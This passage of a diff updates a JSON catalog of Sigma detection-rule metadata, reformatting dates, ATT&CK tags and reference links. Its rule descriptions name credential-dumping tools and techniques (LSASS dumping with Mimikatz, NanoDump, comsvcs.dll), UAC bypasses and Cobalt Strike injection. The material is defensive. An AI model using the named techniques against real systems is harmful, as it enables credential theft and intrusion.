"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -79239,7 +79345,7 @@ "description": "Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/09/07", + "creation_date": "2022-09-07", "falsepositive": [ "Unknown" ], @@ -79248,13 +79354,13 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", "https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png", "https://github.com/codewhitesec/SysmonEnte/", + "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_sysmonente.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -79274,7 +79380,7 @@ "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", "meta": { "author": "Nik Seetharaman", - "creation_date": "2018/07/16", + "creation_date": "2018-07-16", "falsepositive": [ "Legitimate CMSTP use (unlikely in modern enterprise environments)" ], @@ -79287,7 +79393,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.003", "attack.execution", "attack.t1559.001", @@ -79319,7 +79425,7 @@ "description": "Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.", "meta": { "author": "Bhabesh Raj, Jonhnathan Ribeiro", - "creation_date": "2023/11/27", + "creation_date": "2023-11-27", "falsepositive": [ "Unknown" ], @@ -79328,12 +79434,12 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://twitter.com/bh4b3sh/status/1303674603819081728", "https://github.com/skelsec/pypykatz", + "https://twitter.com/bh4b3sh/status/1303674603819081728", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_python_based_tool.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.s0349" ] @@ -79354,7 +79460,7 @@ "description": "Detects process access requests to the LSASS process with specific call trace calls and access masks.\nThis behaviour is expressed by many credential dumping tools such as Mimikatz, NanoDump, Invoke-Mimikatz, Procdump and even the Taskmgr dumping feature.\n", "meta": { "author": "Samir Bousseaden, Michael Haag", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "Unknown" ], @@ -79364,13 +79470,13 @@ "logsource.product": "windows", "refs": [ "https://research.splunk.com/endpoint/windows_possible_credential_dumping/", - "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", + "https://web.archive.org/web/20230329170326/https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", "https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.s0002" ] @@ -79391,7 +79497,7 @@ "description": "Detects potential calls to NtOpenProcess directly from NTDLL.", "meta": { "author": "Christian Burkard (Nextron Systems), Tim Shelton (FP)", - "creation_date": "2021/07/28", + "creation_date": "2021-07-28", "falsepositive": [ "Unknown" ], @@ -79424,7 +79530,7 @@ "description": "Detects function calls from the EditionUpgradeManager COM interface. Which is an interface that is not used by standard executables.", "meta": { "author": "oscd.community, Dmitry Uchakin", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Unknown" ], @@ -79433,13 +79539,13 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/", "https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611", + "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_editionupgrademanagerobj.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -79459,7 +79565,7 @@ "description": "Detects process access request to uncommon target images with a \"PROCESS_ALL_ACCESS\" access mask.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2024/05/27", + "creation_date": "2024-05-27", "falsepositive": [ "Unknown" ], @@ -79472,8 +79578,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_all_access_uncommon_target.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055.011" ] }, @@ -79493,7 +79599,7 @@ "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2012/06/27", + "creation_date": "2012-06-27", "falsepositive": [ "Actual failures in lsass.exe that trigger a crash dump (unlikely)", "Unknown cases in which WerFault accesses lsass.exe" @@ -79507,7 +79613,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.s0002" ] @@ -79528,7 +79634,7 @@ "description": "Detects process access requests from hacktool processes based on their default image name", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel", - "creation_date": "2023/11/27", + "creation_date": "2023-11-27", "falsepositive": [ "Unlikely" ], @@ -79542,7 +79648,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_generic_access.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.s0002" ] @@ -79563,7 +79669,7 @@ "description": "Detects suspicious access to LSASS handle via a call trace to \"seclogon.dll\" with a suspicious access right.", "meta": { "author": "Samir Bousseaden (original elastic rule), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/29", + "creation_date": "2022-06-29", "falsepositive": [ "Unknown" ], @@ -79572,13 +79678,13 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml", - "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", "https://twitter.com/SBousseaden/status/1541920424635912196", + "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", + "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_seclogon_access.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -79598,7 +79704,7 @@ "description": "Detects LSASS process access requests from a source process with the \"dump\" keyword in its image name.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/10", + "creation_date": "2022-02-10", "falsepositive": [ "Rare programs that contain the word dump in their name and access lsass" ], @@ -79612,7 +79718,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_keyword_image.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.s0002" ] @@ -79633,7 +79739,7 @@ "description": "Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles", "meta": { "author": "Bhabesh Raj (rule), @thefLinkk", - "creation_date": "2022/06/27", + "creation_date": "2022-06-27", "falsepositive": [ "Unknown" ], @@ -79648,7 +79754,7 @@ "tags": [ "attack.execution", "attack.t1106", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1003.001" ] }, @@ -79675,7 +79781,7 @@ "description": "Detects suspicious access to the \"svchost\" process such as that used by Invoke-Phantom to kill the thread of the Windows event logging service.", "meta": { "author": "Tim Burrell", - "creation_date": "2020/01/02", + "creation_date": "2020-01-02", "falsepositive": [ "Unknown" ], @@ -79684,12 +79790,12 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://twitter.com/timbmsft/status/900724491076214784", "https://github.com/hlldz/Invoke-Phant0m", + "https://twitter.com/timbmsft/status/900724491076214784", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_susp_access_request.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -79709,7 +79815,7 @@ "description": "Detects the process injection of a LittleCorporal generated Maldoc.", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/09", + "creation_date": "2021-08-09", "falsepositive": [ "Unknown" ], @@ -79750,7 +79856,7 @@ "description": "Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -79763,8 +79869,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_wow64_logger.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -79784,7 +79890,7 @@ "description": "Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.", "meta": { "author": "Patryk Prauze - ING Tech", - "creation_date": "2019/05/20", + "creation_date": "2019-05-20", "falsepositive": [ "Unlikely" ], @@ -79797,11 +79903,11 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_remote_access_trough_winrm.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.execution", "attack.t1003.001", "attack.t1059.001", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.006", "attack.s0002" ] @@ -79836,7 +79942,7 @@ "description": "Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/20", + "creation_date": "2020-10-20", "falsepositive": [ "Unknown" ], @@ -79845,12 +79951,12 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", "https://twitter.com/shantanukhande/status/1229348874298388484", + "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -79870,7 +79976,7 @@ "description": "Detects when a process tries to access the memory of svchost to potentially dump credentials.", "meta": { "author": "Florent Labouyrie", - "creation_date": "2021/04/30", + "creation_date": "2021-04-30", "falsepositive": [ "Unknown" ], @@ -79902,7 +80008,7 @@ "description": "Detects a possible process memory dump that uses a white-listed filename like TrolleyExpress.exe as a way to dump the LSASS process memory without Microsoft Defender interference\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/10", + "creation_date": "2022-02-10", "falsepositive": [ "Unknown" ], @@ -79911,13 +80017,13 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ + "https://twitter.com/mrd0x/status/1460597833917251595", "https://twitter.com/_xpn_/status/1491557187168178176", "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", - "https://twitter.com/mrd0x/status/1460597833917251595", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_whitelisted_process_names.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.s0002" ] @@ -79938,7 +80044,7 @@ "description": "Detects process access requests to LSASS process with potentially suspicious access flags", "meta": { "author": "Florian Roth, Roberto Rodriguez, Dimitrios Slamaris, Mark Russinovich, Thomas Patzke, Teymur Kheirkhabarov, Sherif Eldeeb, James Dickenson, Aleksey Potapov, oscd.community", - "creation_date": "2021/11/22", + "creation_date": "2021-11-22", "falsepositive": [ "Legitimate software such as AV and EDR" ], @@ -79947,15 +80053,15 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://web.archive.org/web/20230420013146/http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_susp_access_flag.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.s0002" ] @@ -79976,7 +80082,7 @@ "description": "Detects a typical pattern of a CobaltStrike BOF which inject into other processes", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/04", + "creation_date": "2021-08-04", "falsepositive": [ "Unknown" ], @@ -79985,14 +80091,14 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://github.com/boku7/injectAmsiBypass", "https://github.com/boku7/spawn", + "https://github.com/boku7/injectAmsiBypass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_cobaltstrike_bof_injection_pattern.yml" ], "tags": [ "attack.execution", "attack.t1106", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -80019,7 +80125,7 @@ "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", "meta": { "author": "Samir Bousseaden, @neu5ron, Tim Shelton", - "creation_date": "2020/04/02", + "creation_date": "2020-04-02", "falsepositive": [ "Update the excluded named pipe to filter out any newly observed legit named pipe" ], @@ -80032,7 +80138,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -80052,7 +80158,7 @@ "description": "Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting", "meta": { "author": "sigma", - "creation_date": "2020/02/12", + "creation_date": "2020-02-12", "falsepositive": [ "Normal enterprise SPN requests activity" ], @@ -80065,7 +80171,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558.003" ] }, @@ -80085,7 +80191,7 @@ "description": "Detects connections from routable IPs to an RDP listener. Which is indicative of a publicly-accessible RDP service.\n", "meta": { "author": "Josh Brower @DefensiveDepth", - "creation_date": "2020/08/22", + "creation_date": "2020-08-22", "falsepositive": [ "Although it is recommended to NOT have RDP exposed to the internet, verify that this is a) allowed b) the server has not already been compromised via some brute force or remote exploit since it has been exposed to the internet. Work to secure the server if you are unable to remove it from being exposed to the internet." ], @@ -80098,7 +80204,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_rdp_public_listener.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.001" ] }, @@ -80118,7 +80224,7 @@ "description": "Detects the presence of default Cobalt Strike certificate in the HTTPS traffic", "meta": { "author": "Bhabesh Raj", - "creation_date": "2021/06/23", + "creation_date": "2021-06-23", "falsepositive": [ "Unknown" ], @@ -80131,7 +80237,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.s0154" ] }, @@ -80142,7 +80248,7 @@ "description": "A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "Unknown" ], @@ -80175,7 +80281,7 @@ "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", "meta": { "author": "@neu5ron, Teymur Kheirkhabarov, oscd.community", - "creation_date": "2020/04/02", + "creation_date": "2020-04-02", "falsepositive": [ "Transferring sensitive files for legitimate administration work by legitimate administrator" ], @@ -80188,7 +80294,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002", "attack.t1003.001", "attack.t1003.003" @@ -80224,7 +80330,7 @@ "description": "Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/", "meta": { "author": "SOC Prime, Adam Swan", - "creation_date": "2020/05/01", + "creation_date": "2020-05-01", "falsepositive": [ "Unknown" ], @@ -80233,12 +80339,12 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html", "https://github.com/OTRF/detection-hackathon-apt29", + "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -80258,7 +80364,7 @@ "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", "meta": { "author": "Samir Bousseaden, @neu5ron, Tim Shelton", - "creation_date": "2020/04/02", + "creation_date": "2020-04-02", "falsepositive": [ "Unknown" ], @@ -80267,11 +80373,11 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", + "https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -80291,7 +80397,7 @@ "description": "Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam.\nThe usage of this RPC function should be rare if ever used at all.\nThus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate.\n View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'\n", "meta": { "author": "@neu5ron, @Antonlovesdnb, Mike Remen", - "creation_date": "2021/08/17", + "creation_date": "2021-08-17", "falsepositive": [ "Uncommon but legitimate windows administrator or software tasks that make use of the Encrypting File System RPC Calls. Verify if this is common activity (see description)." ], @@ -80300,10 +80406,10 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", "https://msrc.microsoft.com/update-guide/vulnerability/ADV210003", - "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp", + "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", "https://threatpost.com/microsoft-petitpotam-poc/168163/", + "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml" ], "tags": [ @@ -80334,7 +80440,7 @@ "description": "NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>", "meta": { "author": "Michael Portera (@mportatoes)", - "creation_date": "2022/04/21", + "creation_date": "2022-04-21", "falsepositive": [ "Unknown" ], @@ -80343,13 +80449,13 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", "https://github.com/Maka8ka/NGLite", + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", "https://github.com/nknorg/nkn-sdk-go", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml" ], "tags": [ - "attack.command_and_control" + "attack.command-and-control" ] }, "uuid": "fa7703d6-0ee8-4949-889c-48c84bc15b6f", @@ -80359,7 +80465,7 @@ "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", "meta": { "author": "Samir Bousseaden, @neu5rn", - "creation_date": "2020/04/03", + "creation_date": "2020-04-03", "falsepositive": [ "Unknown" ], @@ -80368,11 +80474,11 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", + "https://web.archive.org/web/20230409194125/https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.persistence", "car.2013-05-004", "car.2015-04-001", @@ -80395,7 +80501,7 @@ "description": "Identifies IPs performing DNS lookups associated with common Tor proxies.", "meta": { "author": "Saw Winn Naung , Azure-Sentinel", - "creation_date": "2021/08/15", + "creation_date": "2021-08-15", "falsepositive": [ "Unknown" ], @@ -80428,7 +80534,7 @@ "description": "Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.", "meta": { "author": "@neu5ron, SOC Prime", - "creation_date": "2020/03/19", + "creation_date": "2020-03-19", "falsepositive": [ "Windows administrator tasks or troubleshooting", "Windows management scripts or software" @@ -80462,7 +80568,7 @@ "description": "Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request.\nVerify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP).\nWithin the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.\n", "meta": { "author": "Nate Guagenti (neu5ron)", - "creation_date": "2021/09/20", + "creation_date": "2021-09-20", "falsepositive": [ "Exploits that were attempted but unsuccessful.", "Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips." @@ -80472,15 +80578,15 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://twitter.com/neu5ron/status/1438987292971053057?s=20", "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://twitter.com/neu5ron/status/1438987292971053057?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_omigod_no_auth_rce.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.initial_access", + "attack.privilege-escalation", + "attack.initial-access", "attack.execution", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1068", "attack.t1190", "attack.t1203", @@ -80532,7 +80638,7 @@ "description": "Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml", "meta": { "author": "Samir Bousseaden, @neu5ron", - "creation_date": "2020/03/19", + "creation_date": "2020-03-19", "falsepositive": [ "Unknown" ], @@ -80541,11 +80647,11 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", + "https://web.archive.org/web/20230329153811/https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002", "attack.t1003.004", "attack.t1003.003" @@ -80581,7 +80687,7 @@ "description": "Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675).\nThe occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.\n", "meta": { "author": "@neu5ron (Nate Guagenti)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Legitimate remote alteration of a printer driver." ], @@ -80590,19 +80696,19 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://old.zeek.org/zeekweek2019/slides/bzar.pdf", - "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/", + "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://old.zeek.org/zeekweek2019/slides/bzar.pdf", "https://github.com/corelight/CVE-2021-1675", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml" ], "tags": [ "attack.execution", - "cve.2021.1678", - "cve.2021.1675", - "cve.2021.34527" + "cve.2021-1678", + "cve.2021-1675", + "cve.2021-34527" ] }, "uuid": "7b33baef-2a75-4ca3-9da4-34f9a15382d8", @@ -80612,7 +80718,7 @@ "description": "The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused).\nAlthough recently it has been used in DNSSec, the value being set to anything other than 0 should be rare.\nOtherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward.\nDetermine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering.\nThis Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'\n", "meta": { "author": "@neu5ron, SOC Prime Team, Corelight", - "creation_date": "2021/05/04", + "creation_date": "2021-05-04", "falsepositive": [ "Internal or legitimate external domains using DNSSec. Verify if these are legitimate DNSSec domains and then exclude them.", "If you work in a Public Sector then it may be good to exclude things like endswith \".edu\", \".gov\" and or \".mil\"" @@ -80623,15 +80729,15 @@ "logsource.product": "zeek", "refs": [ "https://tools.ietf.org/html/rfc2929#section-2.1", + "https://twitter.com/neu5ron/status/1346245602502443009", "https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma", "https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS", - "https://twitter.com/neu5ron/status/1346245602502443009", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml" ], "tags": [ "attack.t1095", "attack.t1571", - "attack.command_and_control" + "attack.command-and-control" ] }, "related": [ @@ -80657,7 +80763,7 @@ "description": "Detects known sensitive file extensions via Zeek", "meta": { "author": "Samir Bousseaden, @neu5ron", - "creation_date": "2020/04/02", + "creation_date": "2020-04-02", "falsepositive": [ "Help Desk operator doing backup or re-imaging end user machine or backup software", "Users working with these data types or exchanging message files" @@ -80681,7 +80787,7 @@ "description": "Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE", "meta": { "author": "@neu5ron, SOC Prime", - "creation_date": "2020/03/19", + "creation_date": "2020-03-19", "falsepositive": [ "Windows administrator tasks or troubleshooting", "Windows management scripts or software" @@ -80731,7 +80837,7 @@ "description": "Identifies clients that may be performing DNS lookups associated with common currency mining pools.", "meta": { "author": "Saw Winn Naung, Azure-Sentinel, @neu5ron", - "creation_date": "2021/08/19", + "creation_date": "2021-08-19", "falsepositive": [ "A DNS lookup does not necessarily mean a successful attempt, verify a) if there was a response using the zeek answers field, if there was then verify the connections 